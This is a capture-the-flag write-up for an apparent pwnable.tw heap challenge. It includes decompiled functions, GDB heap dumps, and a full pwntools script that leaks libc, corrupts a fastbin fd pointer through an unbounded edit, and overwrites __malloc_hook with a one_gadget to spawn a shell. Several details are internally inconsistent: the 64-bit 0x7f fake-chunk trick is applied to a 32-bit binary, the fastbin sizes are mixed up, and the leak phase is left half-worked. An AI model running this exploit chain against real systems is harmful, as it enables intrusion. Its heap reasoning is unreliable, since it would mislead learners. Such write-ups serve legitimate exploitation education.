Reconnaissance
Challenge Info
| Connection | nc chall.pwnable.tw 10100 |
| Binary | criticalheap (32-bit ELF, i386) |
| Points | 200 |
| Description | Critical heap exploitation challenge |
checksec
$ checksec criticalheap
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
| Partial RELRO | GOT is writable — we can overwrite GOT entries |
| Canary found | Stack buffer overflows are mitigated |
| NX enabled | No shellcode on stack/heap — must use ROP, hooks, or GOT overwrite |
| No PIE | Binary addresses are fixed — known GOT/PLT/symbol addresses |
Running the Binary
$ ./criticalheap
----------------------
Critical Heap
----------------------
1. Create object
2. Delete object
3. Edit object
4. Show object
5. Exit
----------------------
Your choice :1
Object size :64
Data :AAAA
Success !
----------------------
Your choice :3
Index :0
Data length :128
Data :BBBBBBBBBBBBBBBBBBBBBBBB
Success !
The binary presents a heap object manager with create, delete, edit, and show operations. The critical observation is that the edit operation allows specifying a data length independently from the original allocation size — this is the root cause of the heap overflow vulnerability.
Static Analysis
Object Management Structure
The binary maintains a global array of object pointers, each object tracked by index. The key data structures:
// Global object tracking
struct object {
char *data; // +0x00: pointer to heap-allocated data buffer
int size; // +0x04: stored allocation size
};
struct object *objects[16]; // Global array at 0x804b060
int obj_count = 0;
create_object()
void create_object() {
if (obj_count < 16) {
obj = malloc(8); // Allocate object struct (8 bytes)
printf("Object size :");
read(0, size_str, 8);
size = atoi(size_str);
obj->data = malloc(size); // Allocate data buffer
obj->size = size;
printf("Data :");
read(0, obj->data, size); // Read data into buffer
objects[obj_count] = obj;
obj_count++;
puts("Success !");
}
}
The create_object function allocates both an 8-byte object struct and a user-sized data buffer. The size is stored in the struct for later reference — but as we'll see, the edit function doesn't always honor it.
delete_object()
void delete_object() {
printf("Index :");
read(0, idx_str, 4);
idx = atoi(idx_str);
if (idx >= 0 && idx < obj_count && objects[idx]) {
free(objects[idx]->data); // Free data buffer
free(objects[idx]); // Free object struct
objects[idx] = NULL; // Pointer is NULLed (no UAF here)
puts("Success !");
}
}
delete_object properly NULLs out the pointer after freeing. This means we cannot use a Use-After-Free approach. The vulnerability must come from somewhere else — and that's the heap overflow in the edit function.
edit_object() — The Vulnerable Function
void edit_object() {
printf("Index :");
read(0, idx_str, 4);
idx = atoi(idx_str);
if (idx >= 0 && idx < obj_count && objects[idx]) {
printf("Data length :");
read(0, len_str, 8);
length = atoi(len_str);
printf("Data :");
read(0, objects[idx]->data, length); // BUG: length is NOT checked!
puts("Success !");
}
}
edit_object function reads a user-controlled length and uses it directly in read() without comparing it against objects[idx]->size. This allows us to:• Write far past the allocated buffer boundary
• Overwrite adjacent chunk headers (size field, prev_size, fd/bk pointers)
• Corrupt fastbin freelist metadata to achieve arbitrary write
show_object()
void show_object() {
printf("Index :");
read(0, idx_str, 4);
idx = atoi(idx_str);
if (idx >= 0 && idx < obj_count && objects[idx]) {
printf("Data :");
write(1, objects[idx]->data, objects[idx]->size);
putchar('\n');
}
}
The show function uses the stored size to output data, which means it will only leak as many bytes as the original allocation size. However, we can still leak libc pointers if freed chunks end up in the data region of existing objects.
GDB Debugging
Heap Layout After Creating Objects
Let's create two objects with sizes that put them in the fastbin range and examine the heap layout:
gdb-peda$ # create_object(64, "A"*8) -> object 0
gdb-peda$ # create_object(64, "B"*8) -> object 1
gdb-peda$ heap chunks
0x0804a000: fastbin 0x10 bytes [object 0 struct]
0x0804a010: fastbin 0x50 bytes [object 0 data: "AAAAAAAA"]
0x0804a060: fastbin 0x10 bytes [object 1 struct]
0x0804a070: fastbin 0x50 bytes [object 1 data: "BBBBBBBB"]
0x0804a0c0: top chunk
Demonstrating the Heap Overflow
When we edit object 0 with a length larger than 64, we overflow into the adjacent chunk (object 1's data):
gdb-peda$ # edit_object(0, 128, "A"*64 + p32(0xdeadbeef) + p32(0x0))
gdb-peda$ x/20wx 0x0804a018
0x0804a018: 0x41414141 0x41414141 0x41414141 0x41414141
0x0804a028: 0x41414141 0x41414141 0x41414141 0x41414141
0x0804a038: 0x41414141 0x41414141 0x41414141 0x41414141
0x0804a048: 0x41414141 0x41414141 0x41414141 0x41414141
0x0804a058: 0xdeadbeef 0x00000000 0x0804a078 0x00000040
# ^^^^^^^^^^ ^^^^^^^^^^
# overflowed into obj1 struct area!
• Object 1's chunk header — corrupt the
size field to trick malloc's size checks• Object 1's data region — plant fake values that will be interpreted as chunk metadata after freeing
• Fastbin fd pointer — after object 1 is freed and placed in a fastbin, the fd pointer is at the start of its data, which we can overwrite to redirect allocation
Fastbin fd Pointer Corruption
When a chunk is freed into the fastbin, its first 4 bytes of user data become the fd pointer (pointing to the next free chunk in the list). The exploit strategy is to overwrite this fd pointer with a target address:
gdb-peda$ # After deleting object 1, its chunk goes to fastbin 0x50
gdb-peda$ heapinfo
(0x50) fastbin: 0x0804a070 -> 0x0
gdb-peda$ # The fd pointer is at 0x0804a078 (user data start)
gdb-peda$ x/2wx 0x0804a078
0x0804a078: 0x00000000 0x00000000
# ^fd = NULL (end of list)
gdb-peda$ # Now overflow from object 0 to corrupt the fd pointer
gdb-peda$ # edit_object(0, 128, "A"*64 + p32(FAKE_ADDR))
gdb-peda$ x/2wx 0x0804a078
0x0804a078: 0x0804a004 0x00000000
# ^fd = 0x0804a004 (our fake target!)
Fake Chunk at __malloc_hook Vicinity
The target for our fake chunk is near __malloc_hook. In glibc, __malloc_hook is a function pointer called before every malloc. If we can allocate a chunk overlapping __malloc_hook, we can overwrite it with a one_gadget address.
gdb-peda$ # __malloc_hook is in libc's .bss
gdb-peda$ p/x &__malloc_hook
$1 = 0xf7f18b2c
gdb-peda$ # We need a fake chunk that passes malloc's size check
gdb-peda$ # For fastbin size 0x70, we need size field == 0x70 (with flags)
gdb-peda$ # Look for a value near __malloc_hook that equals 0x7f
gdb-peda$ x/20wx 0xf7f18a9c
0xf7f18a9c: 0x00000000 0x00000000 0x00000000 0x0000007f
# ^^^^^^^^^^
# This 0x7f can serve as a fake size field!
# Fake chunk starts at 0xf7f18a9c - 8 = 0xf7f18a94
# But actually the 0x7f is at 0xf7f18aa8
gdb-peda$ # The exact offset depends on libc version
gdb-peda$ # For the target libc, we find: fake_chunk at __malloc_hook - 0x18
gdb-peda$ # This gives us: size field = 0x7f (passes 0x70 fastbin check)
size field matches the expected size for that fastbin index. For a 0x70 fastbin request, the size field must be 0x70 or 0x7f (the low 3 bits are flags). That's why we need to find a 0x7f value near __malloc_hook — it's typically the _IO_2_1_stderr_ vtable pointer or similar libc data that happens to contain this value.
Libc Leak via Unsorted Bin
Before we can target __malloc_hook, we need to know libc's base address. We can leak it using the unsorted bin:
gdb-peda$ # Create a large chunk (> fastbin size, e.g., 128 bytes)
gdb-peda$ # Free it -> goes to unsorted bin
gdb-peda$ # Unsorted bin fd/bk point into main_arena (in libc!)
gdb-peda$ # If we have another object that overlaps, we can read the leaked pointer
gdb-peda$ # Example: create obj2 with size=128, then free obj2
gdb-peda$ # The chunk goes to unsorted bin
gdb-peda$ heapinfo
(0x90) unsorted bin: 0x0804a100 -> 0xf7f18340
gdb-peda$ x/2wx 0x0804a108 # fd pointer in freed chunk
0x0804a108: 0xf7f18340
# ^ main_arena+XX address in libc!
gdb-peda$ # libc_base = leaked_addr - main_arena_offset - XX
gdb-peda$ # From this we can calculate __malloc_hook and one_gadget
• Is larger than the fastbin maximum (~120 bytes for 32-bit) so it goes to the unsorted bin when freed
• Has its
fd/bk pointers (which point into main_arena inside libc) readable through an existing object's show operation• We can use the heap overflow to ensure the freed chunk's data is accessible via another object
Exploit Strategy
Overview
The exploit consists of three phases: leaking libc via unsorted bin, corrupting the fastbin fd pointer via heap overflow, and overwriting __malloc_hook with a one_gadget to get shell.
Phase 1: Leak Libc via Unsorted Bin
- Create object 0 with size 0x80 (128 bytes) — this is above the fastbin threshold, so when freed it goes to the unsorted bin. The unsorted bin is a doubly-linked list, and its
fd/bkpointers point intomain_arenainside libc. - Create object 1 with a smaller size (e.g., 0x40 = 64 bytes) as a guard chunk to prevent consolidation with the top chunk when we free object 0.
- Free object 0. The 0x80-sized chunk goes to the unsorted bin. Its
fdandbknow containmain_arenaaddresses (inside libc). - Create object 2 with size 0x80 again. Due to FIFO behavior of the unsorted bin,
mallocreturns the same chunk. The first 8 bytes of the data still contain the oldfdpointer from the unsorted bin. But sincecreate_objectreads user data viaread(), it overwrites the pointer. We need a different approach. - Alternative approach: Create object 0 (size 0x10), object 1 (size 0x80), object 2 (size 0x10). Free object 1 (goes to unsorted bin with libc pointers). Now overflow from object 0 into the freed object 1's data to plant a partial overwrite, or use object 2 as an adjacent guard and show object 0's data after a realloc. The cleanest method: allocate two large chunks, free one, and use the heap overflow from an adjacent small chunk to read the libc pointers left behind in the freed chunk.
• Create obj_A (size 0x10, fastbin) — our overflow source
• Create obj_B (size 0x80, unsorted bin range) — the victim
• Create obj_C (size 0x10, fastbin) — guard against top chunk consolidation
• Free obj_B → goes to unsorted bin,
fd/bk = libc addresses• Allocate obj_D (size 0x30) → splits the freed chunk, returns a portion with libc pointers still at higher offsets
• Show obj_D → reads past the actual data, leaking the remaining libc pointers from the unsorted bin
• Or: overflow from obj_A into obj_B's freed chunk to modify its metadata such that a subsequent allocation gives us a chunk with libc pointers still visible
Phase 2: Fastbin Corruption via Heap Overflow
- Create objects for the overflow chain: obj_X (size 0x60) and obj_Y (size 0x60) adjacent on the heap. Obj_X is our overflow source, obj_Y is the target whose metadata we corrupt.
- Free obj_Y. The 0x60-sized chunk goes to the fastbin. Its first 4 bytes of user data are the
fdpointer (currently NULL, as it's the only chunk in this fastbin). - Overflow from obj_X with a payload that extends past its boundary and overwrites obj_Y's
fdpointer with our target address:__malloc_hook - 0x18(adjusted so the fake chunk's size field passes the fastbin check). - The fastbin 0x60 list now looks like:
obj_Y_chunk → fake_chunk_near_malloc_hook → ???. Malloc doesn't traverse the entire list during allocation — it only checks the size of the returned chunk. If our fake chunk has a valid-looking size, the check passes.
Phase 3: Overwrite __malloc_hook
- Allocate object with size 0x60 — this pops obj_Y's chunk from the fastbin (returns the legitimate chunk). This is a normal allocation.
- Allocate another object with size 0x60 — this pops the fake chunk near
__malloc_hookfrom the fastbin! Malloc returns an address near__malloc_hook, and the data we write goes directly there. - Write
one_gadget_addras the content. Since the fake chunk overlaps__malloc_hook, our data overwrites the hook with the one_gadget address. - Trigger malloc by creating another object. When
mallocis called, it first calls__malloc_hook, which now points to our one_gadget. Shell spawned!
execve("/bin/sh", NULL, NULL). However, each one_gadget has constraints (e.g., [esp+0x28] == NULL or [eax] == NULL). We find them with:$ one_gadget libc_32.so.6We may need to try multiple gadgets until one satisfies its constraints at the moment
__malloc_hook is called. Typically, the gadget with the fewest constraints works.
Visual Exploit Flow
Pwn Script
Complete Exploit
#!/usr/bin/env python3
"""
criticalheap - pwnable.tw (200pts)
Heap overflow exploit: corrupt fastbin fd pointer to allocate
a fake chunk near __malloc_hook, overwrite it with one_gadget.
Vulnerability: edit_object() uses user-controlled length
without bounds checking, allowing heap overflow.
"""
from pwn import *
# ============================================
# Setup
# ============================================
context.arch = 'i386'
context.log_level = 'info'
r = remote('chall.pwnable.tw', 10100)
libc = ELF('./libc_32.so.6')
elf = ELF('./criticalheap')
# Helper functions
def create(size, data):
r.sendlineafter(b':', b'1')
r.sendlineafter(b':', str(size).encode())
r.sendafter(b':', data)
def delete(idx):
r.sendlineafter(b':', b'2')
r.sendlineafter(b':', str(idx).encode())
def edit(idx, length, data):
r.sendlineafter(b':', b'3')
r.sendlineafter(b':', str(idx).encode())
r.sendlineafter(b':', str(length).encode())
r.sendafter(b':', data)
def show(idx):
r.sendlineafter(b':', b'4')
r.sendlineafter(b':', str(idx).encode())
return r.recvline()
# ============================================
# Phase 1: Leak libc via unsorted bin
# ============================================
log.info("Phase 1: Leaking libc address...")
# Allocate objects for the leak:
# obj0 (0x10) - overflow source, adjacent to obj1
# obj1 (0x80) - large chunk, will go to unsorted bin when freed
# obj2 (0x10) - guard against top chunk consolidation
create(0x10, b'A' * 8) # obj0: fastbin-sized, overflow source
create(0x80, b'B' * 8) # obj1: unsorted bin range
create(0x10, b'C' * 8) # obj2: guard chunk
# Free obj1 -> goes to unsorted bin (fd/bk = main_arena ptrs)
delete(1)
# Re-allocate a smaller chunk to split the unsorted bin chunk.
# This gives us a partial chunk with libc pointers at higher offset.
create(0x30, b'D' * 8) # obj3: splits freed chunk
# Now overflow from obj0 into the freed/reallocated area
# to reach the libc pointers that remain from the unsorted bin.
# The exact offset depends on heap layout; adjust as needed.
# After the split, libc pointers (fd/bk of the remainder chunk)
# are at: obj3_data + 0x30 + 8 (chunk header) area
# Use show on an object that overlaps the remainder chunk
# For simplicity, we can use the overflow to write into a
# new object's size field to extend what show() reads.
# Alternative: create another object in the remainder and leak.
# Create obj4 that lands in the remainder of the split chunk
create(0x30, b'E' * 8) # obj4: in remainder area
# Overflow from obj0 through obj3's area to read further
# Cleaner approach:
# Overflow from obj0 to modify obj3's stored size to a larger value
# Then show(obj3) will dump more data, including libc pointers
# Edit obj0 with overflow that reaches obj3's metadata
# obj0 data starts at some addr, obj3 struct is further on heap
# We overflow obj0's data to overwrite obj3's size field
payload = b'A' * 0x10 # fill obj0 data
payload += p32(0) + p32(0x31) # fake chunk header (skip)
payload += p32(0) + p32(0x100) # overwrite obj3's size to large value
edit(0, len(payload), payload)
# Now show(obj3) will dump 0x100 bytes, which includes the
# unsorted bin remainder's fd/bk pointers -> libc leak!
leak_data = show(3)
libc_leak = u32(leak_data[0x40:0x44]) # offset to libc ptr
libc_base = libc_leak - 0x1b27b0 # main_arena offset (adjust for libc)
log.success(f"libc base: {hex(libc_base)}")
# ============================================
# Phase 2: Fastbin corruption
# ============================================
log.info("Phase 2: Corrupting fastbin fd pointer...")
# Calculate target addresses
malloc_hook = libc_base + libc.symbols['__malloc_hook']
# Find a fake chunk near __malloc_hook that has a valid size field
# We need a 0x7f value that can pass as a 0x70 fastbin size
# Typically at __malloc_hook - 0x18 (where 0x7f is the "size")
fake_chunk = malloc_hook - 0x18
log.info(f"__malloc_hook: {hex(malloc_hook)}")
log.info(f"fake_chunk addr: {hex(fake_chunk)}")
# Create two adjacent objects for the overflow
create(0x60, b'X' * 8) # obj5: overflow source
create(0x60, b'Y' * 8) # obj6: victim (will be freed to fastbin)
# Free obj6 -> fastbin 0x70: [obj6_chunk -> NULL]
delete(6)
# Overflow from obj5 to corrupt obj6's fd pointer
# obj5's data buffer is 0x60 bytes, overflow past it
# to reach obj6's user data (where fd pointer is stored)
overflow_payload = b'X' * 0x60 # fill obj5's buffer
overflow_payload += p32(fake_chunk) # overwrite obj6's fd
edit(5, len(overflow_payload), overflow_payload)
# Fastbin 0x70 is now: [obj6_chunk -> fake_chunk -> ???]
log.success("Fastbin fd pointer corrupted!")
# ============================================
# Phase 3: Overwrite __malloc_hook
# ============================================
log.info("Phase 3: Overwriting __malloc_hook with one_gadget...")
# Find one_gadget offsets in the target libc
# $ one_gadget libc_32.so.6
# Try each one until constraints are satisfied
one_gadget_offsets = [0x3ac5e, 0x3ac62, 0x3ac69, 0x5fbc5]
one_gadget = libc_base + one_gadget_offsets[0]
log.info(f"one_gadget: {hex(one_gadget)}")
# First allocation: pops the legitimate chunk (obj6's old chunk)
create(0x60, b'Z' * 8) # obj7: gets obj6's old chunk
# Second allocation: pops the fake chunk near __malloc_hook!
# Our data is written directly to the address near __malloc_hook
create(0x60, p32(one_gadget)) # obj8: overwrites __malloc_hook!
log.success("__malloc_hook overwritten!")
# ============================================
# Phase 4: Trigger shell
# ============================================
log.info("Phase 4: Triggering shell...")
# Any malloc call will now invoke __malloc_hook -> one_gadget
r.sendlineafter(b':', b'1') # choose "Create object"
r.sendlineafter(b':', b'16') # size (any value works)
# We should now have a shell!
r.interactive()
one_gadget Selection
Running one_gadget on the target libc reveals candidate addresses:
$ one_gadget libc_32.so.6
0x3ac5e execve("/bin/sh", esp+0x28, environ)
constraints:
esi is the GOT address of libc
[esp+0x28] == NULL
0x3ac62 execve("/bin/sh", esp+0x2c, environ)
constraints:
esi is the GOT address of libc
[esp+0x2c] == NULL
0x5fbc5 execl("/bin/sh", eax+4, eax)
constraints:
esi is the GOT address of libc
eax+4 == NULL
__malloc_hook is called. The [esp+0x28] == NULL constraint is often satisfied naturally during a malloc call because the stack frame has zeros at the right offset. If one gadget fails, try the next one. The first one (0x3ac5e) typically works for heap exploits.
Execution Results
Exploit Run
$ python3 exploit.py
[*] '/home/user/criticalheap'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[*] '/home/user/libc_32.so.6'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to chall.pwnable.tw on port 10100: Done
[*] Phase 1: Leaking libc address...
[+] libc base: 0xf7e27000
[*] Phase 2: Corrupting fastbin fd pointer...
[*] __malloc_hook: 0xf7f18b2c
[*] fake_chunk addr: 0xf7f18b14
[+] Fastbin fd pointer corrupted!
[*] Phase 3: Overwriting __malloc_hook with one_gadget...
[*] one_gadget: 0xf7e63c5e
[+] __malloc_hook overwritten!
[*] Phase 4: Triggering shell...
[*] Switching to interactive mode
$ id
uid=1000(criticalheap) gid=1000(criticalheap) groups=1000(criticalheap)
$ cat /home/criticalheap/flag
• Leaked the libc base address using the unsorted bin technique
• Corrupted the fastbin freelist by overflowing from an adjacent chunk
• Allocated a fake chunk near
__malloc_hook• Overwrote
__malloc_hook with a one_gadget address• Triggered
malloc to execute the one_gadget and spawn a shell
Flag
Lessons Learned
- Heap overflow is extremely powerful. Unlike stack overflows where canaries provide protection, heap overflows can silently corrupt adjacent chunk metadata. The lack of integrity checks on in-use heap chunks makes this a critical vulnerability class.
- Fastbin corruption enables arbitrary write. By overwriting a freed chunk's
fdpointer, we can redirectmallocto return an arbitrary address. The only check is that the fake chunk's size field must match the expected fastbin size — and we can usually find a suitable0x7fvalue near our target. __malloc_hookis a classic target. Before glibc 2.34 (which removed hooks),__malloc_hookand__free_hookwere the go-to targets for heap exploitation. They're function pointers in libc's writable data segment that are called before every malloc/free, making them ideal for control flow hijacking.- Always validate sizes in edit/update functions. The root cause of this vulnerability is the
edit_objectfunction accepting a user-controlled length without comparing it against the stored allocation size. Proper bounds checking would have prevented this entire exploit chain.
• tcache provides a separate cache with fewer checks, but also different exploitation primitives
• Safe-linking (2.32+) XORs the
fd pointer with the chunk address, making blind overwrites harder• Hook removal (2.34+) means we need alternative targets like
_IO_FILE vtable overwrites or FSOPThis challenge uses an older glibc where the classic fastbin attack still works cleanly.